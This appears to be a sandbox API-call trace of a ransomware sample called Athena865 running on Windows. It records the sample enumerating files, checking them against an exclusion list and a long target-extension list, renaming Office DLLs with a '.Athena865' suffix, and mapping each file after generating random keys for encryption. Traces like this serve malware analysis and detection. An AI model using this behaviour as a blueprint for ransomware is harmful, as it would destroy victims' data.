returned -1 [0113.209] lstrlenW (lpString="sdb") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0113.209] lstrlenW (lpString="sdc") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0113.209] lstrlenW (lpString="sdf") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0113.209] lstrlenW (lpString="sis") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0113.209] lstrlenW (lpString="spq") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0113.209] lstrlenW (lpString="te") returned 2 [0113.210] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0113.210] lstrlenW (lpString="teacher") returned 7 [0113.210] lstrcmpiW (lpString1="SRV.DLL", lpString2="teacher") returned -1 [0113.210] lstrlenW (lpString="tmd") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0113.210] lstrlenW (lpString="tps") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0113.210] lstrlenW (lpString="trc") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0113.210] lstrlenW (lpString="trc") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0113.210] lstrlenW (lpString="trm") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0113.210] lstrlenW (lpString="udb") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0113.210] lstrlenW (lpString="udl") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0113.210] lstrlenW (lpString="usr") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0113.210] lstrlenW (lpString="v12") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0113.210] lstrlenW (lpString="vis") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0113.210] lstrlenW (lpString="vpd") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0113.210] lstrlenW (lpString="vvv") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0113.210] lstrlenW (lpString="wdb") returned 3 [0113.210] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0113.211] lstrlenW (lpString="wmdb") returned 4 [0113.211] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0113.211] lstrlenW (lpString="wrk") returned 3 [0113.211] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0113.211] lstrlenW (lpString="xdb") returned 3 [0113.211] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0113.211] lstrlenW (lpString="xld") returned 3 [0113.211] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0113.211] lstrlenW (lpString="xmlff") returned 5 [0113.211] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0113.211] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.Athena865") returned 76 [0113.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.athena865"), dwFlags=0x1) returned 1 [0113.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.213] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=518984) returned 1 [0113.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.213] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.214] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.214] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.214] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ee50, lpName=0x0) returned 0x17c [0113.215] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ee50) returned 0x2d50000 [0113.250] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.251] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.251] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.251] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0113.256] CloseHandle (hObject=0x17c) returned 1 [0113.256] CloseHandle (hObject=0x154) returned 1 [0113.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.258] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0113.258] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0113.258] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.258] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".") returned 1 [0113.258] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="..") returned 1 [0113.258] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="windows") returned -1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="bootmgr") returned 1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="temp") returned -1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="pagefile.sys") returned -1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="boot") returned 1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="ids.txt") returned -1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="ntuser.dat") returned -1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="perflogs") returned -1 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="MSBuild") returned -1 [0113.259] lstrlenW (lpString="EXP_PDF.DLL") returned 11 [0113.259] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EXP_PDF.DLL" | out: lpString1="EXP_PDF.DLL") returned="EXP_PDF.DLL" [0113.259] lstrlenW (lpString="EXP_PDF.DLL") returned 11 [0113.259] lstrlenW (lpString="Athena865") returned 9 [0113.259] lstrcmpiW (lpString1="P_PDF.DLL", lpString2="Athena865") returned 1 [0113.259] lstrlenW (lpString=".dll") returned 4 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".dll") returned 1 [0113.259] lstrlenW (lpString=".lnk") returned 4 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".lnk") returned 1 [0113.259] lstrlenW (lpString=".ini") returned 4 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".ini") returned 1 [0113.259] lstrlenW (lpString=".sys") returned 4 [0113.259] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".sys") returned 1 [0113.259] lstrlenW (lpString="EXP_PDF.DLL") returned 11 [0113.259] lstrlenW (lpString="bak") returned 3 [0113.259] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0113.259] lstrlenW (lpString="ba_") returned 3 [0113.259] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0113.259] lstrlenW (lpString="dbb") returned 3 [0113.259] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0113.260] lstrlenW (lpString="vmdk") returned 4 [0113.260] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0113.260] lstrlenW (lpString="rar") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0113.260] lstrlenW (lpString="zip") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0113.260] lstrlenW (lpString="tgz") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0113.260] lstrlenW (lpString="vbox") returned 4 [0113.260] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0113.260] lstrlenW (lpString="vdi") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0113.260] lstrlenW (lpString="vhd") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0113.260] lstrlenW (lpString="vhdx") returned 4 [0113.260] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0113.260] lstrlenW (lpString="avhd") returned 4 [0113.260] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0113.260] lstrlenW (lpString="db") returned 2 [0113.260] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0113.260] lstrlenW (lpString="db2") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0113.260] lstrlenW (lpString="db3") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0113.260] lstrlenW (lpString="dbf") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0113.260] lstrlenW (lpString="mdf") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0113.260] lstrlenW (lpString="mdb") returned 3 [0113.260] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0113.260] lstrlenW (lpString="sql") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0113.261] lstrlenW (lpString="sqlite") returned 6 [0113.261] lstrcmpiW (lpString1="DF.DLL", lpString2="sqlite") returned -1 [0113.261] lstrlenW (lpString="sqlite3") returned 7 [0113.261] lstrcmpiW (lpString1="PDF.DLL", lpString2="sqlite3") returned -1 [0113.261] lstrlenW (lpString="sqlitedb") returned 8 [0113.261] lstrcmpiW (lpString1="_PDF.DLL", lpString2="sqlitedb") returned -1 [0113.261] lstrlenW (lpString="xml") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0113.261] lstrlenW (lpString="$er") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0113.261] lstrlenW (lpString="4dd") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0113.261] lstrlenW (lpString="4dl") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0113.261] lstrlenW (lpString="^^^") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0113.261] lstrlenW (lpString="abs") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0113.261] lstrlenW (lpString="abx") returned 3 [0113.261] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0113.261] lstrlenW (lpString="accdb") returned 5 [0113.261] lstrcmpiW (lpString1="F.DLL", lpString2="accdb") returned 1 [0113.261] lstrlenW (lpString="accdc") returned 5 [0113.261] lstrcmpiW (lpString1="F.DLL", lpString2="accdc") returned 1 [0113.261] lstrlenW (lpString="accde") returned 5 [0113.261] lstrcmpiW (lpString1="F.DLL", lpString2="accde") returned 1 [0113.261] lstrlenW (lpString="accdr") returned 5 [0113.261] lstrcmpiW (lpString1="F.DLL", lpString2="accdr") returned 1 [0113.261] lstrlenW (lpString="accdt") returned 5 [0113.262] lstrcmpiW (lpString1="F.DLL", lpString2="accdt") returned 1 [0113.262] lstrlenW (lpString="accdw") returned 5 [0113.262] lstrcmpiW (lpString1="F.DLL", lpString2="accdw") returned 1 [0113.262] lstrlenW (lpString="accft") returned 5 [0113.262] lstrcmpiW (lpString1="F.DLL", lpString2="accft") returned 1 [0113.262] lstrlenW (lpString="adb") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.262] lstrlenW (lpString="adb") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.262] lstrlenW (lpString="ade") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0113.262] lstrlenW (lpString="adf") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0113.262] lstrlenW (lpString="adn") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0113.262] lstrlenW (lpString="adp") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0113.262] lstrlenW (lpString="alf") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0113.262] lstrlenW (lpString="ask") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0113.262] lstrlenW (lpString="btr") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0113.262] lstrlenW (lpString="cat") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0113.262] lstrlenW (lpString="cdb") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0113.262] lstrlenW (lpString="ckp") returned 3 [0113.262] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0113.263] lstrlenW (lpString="cma") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0113.263] lstrlenW (lpString="cpd") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0113.263] lstrlenW (lpString="dacpac") returned 6 [0113.263] lstrcmpiW (lpString1="DF.DLL", lpString2="dacpac") returned 1 [0113.263] lstrlenW (lpString="dad") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0113.263] lstrlenW (lpString="dadiagrams") returned 10 [0113.263] lstrcmpiW (lpString1="XP_PDF.DLL", lpString2="dadiagrams") returned 1 [0113.263] lstrlenW (lpString="daschema") returned 8 [0113.263] lstrcmpiW (lpString1="_PDF.DLL", lpString2="daschema") returned -1 [0113.263] lstrlenW (lpString="db-journal") returned 10 [0113.263] lstrcmpiW (lpString1="XP_PDF.DLL", lpString2="db-journal") returned 1 [0113.263] lstrlenW (lpString="db-shm") returned 6 [0113.263] lstrcmpiW (lpString1="DF.DLL", lpString2="db-shm") returned 1 [0113.263] lstrlenW (lpString="db-wal") returned 6 [0113.263] lstrcmpiW (lpString1="DF.DLL", lpString2="db-wal") returned 1 [0113.263] lstrlenW (lpString="dbc") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0113.263] lstrlenW (lpString="dbs") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0113.263] lstrlenW (lpString="dbt") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0113.263] lstrlenW (lpString="dbv") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0113.263] lstrlenW (lpString="dbx") returned 3 [0113.263] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0113.263] lstrlenW (lpString="dcb") returned 3 [0113.264] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0113.264] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0113.264] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0113.264] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0113.264] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.Athena865") returned 77 [0113.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.athena865"), dwFlags=0x1) returned 1 [0113.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.266] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=138616) returned 1 [0113.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.266] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.267] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.267] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.267] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22080, lpName=0x0) returned 0x17c [0113.269] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22080) returned 0x170000 [0113.277] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.278] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.278] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.279] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0113.280] CloseHandle (hObject=0x17c) returned 1 [0113.280] CloseHandle (hObject=0x154) returned 1 [0113.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.281] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".") returned 1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="..") returned 1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="windows") returned -1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="bootmgr") returned 1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="temp") returned -1 [0113.281] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="pagefile.sys") returned -1 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="boot") returned 1 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="ids.txt") returned -1 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="ntuser.dat") returned -1 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="perflogs") returned -1 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="MSBuild") returned -1 [0113.282] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0113.282] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EXP_XPS.DLL" | out: lpString1="EXP_XPS.DLL") returned="EXP_XPS.DLL" [0113.282] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0113.282] lstrlenW (lpString="Athena865") returned 9 [0113.282] lstrcmpiW (lpString1="P_XPS.DLL", lpString2="Athena865") returned 1 [0113.282] lstrlenW (lpString=".dll") returned 4 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".dll") returned 1 [0113.282] lstrlenW (lpString=".lnk") returned 4 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".lnk") returned 1 [0113.282] lstrlenW (lpString=".ini") returned 4 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".ini") returned 1 [0113.282] lstrlenW (lpString=".sys") returned 4 [0113.282] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".sys") returned 1 [0113.282] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0113.282] lstrlenW (lpString="bak") returned 3 [0113.282] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0113.282] lstrlenW (lpString="ba_") returned 3 [0113.282] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0113.282] lstrlenW (lpString="dbb") returned 3 [0113.282] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0113.282] lstrlenW (lpString="vmdk") returned 4 [0113.282] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0113.282] lstrlenW (lpString="rar") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0113.283] lstrlenW (lpString="zip") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0113.283] lstrlenW (lpString="tgz") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0113.283] lstrlenW (lpString="vbox") returned 4 [0113.283] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0113.283] lstrlenW (lpString="vdi") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0113.283] lstrlenW (lpString="vhd") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0113.283] lstrlenW (lpString="vhdx") returned 4 [0113.283] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0113.283] lstrlenW (lpString="avhd") returned 4 [0113.283] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0113.283] lstrlenW (lpString="db") returned 2 [0113.283] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0113.283] lstrlenW (lpString="db2") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0113.283] lstrlenW (lpString="db3") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0113.283] lstrlenW (lpString="dbf") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0113.283] lstrlenW (lpString="mdf") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0113.283] lstrlenW (lpString="mdb") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0113.283] lstrlenW (lpString="sql") returned 3 [0113.283] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0113.284] lstrlenW (lpString="sqlite") returned 6 [0113.284] lstrcmpiW (lpString1="PS.DLL", lpString2="sqlite") returned -1 [0113.284] lstrlenW (lpString="sqlite3") returned 7 [0113.284] lstrcmpiW (lpString1="XPS.DLL", lpString2="sqlite3") returned 1 [0113.284] lstrlenW (lpString="sqlitedb") returned 8 [0113.284] lstrcmpiW (lpString1="_XPS.DLL", lpString2="sqlitedb") returned -1 [0113.284] lstrlenW (lpString="xml") returned 3 [0113.284] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0113.284] lstrlenW (lpString="$er") returned 3 [0113.284] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0113.284] lstrlenW (lpString="4dd") returned 3 [0113.284] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0113.284] 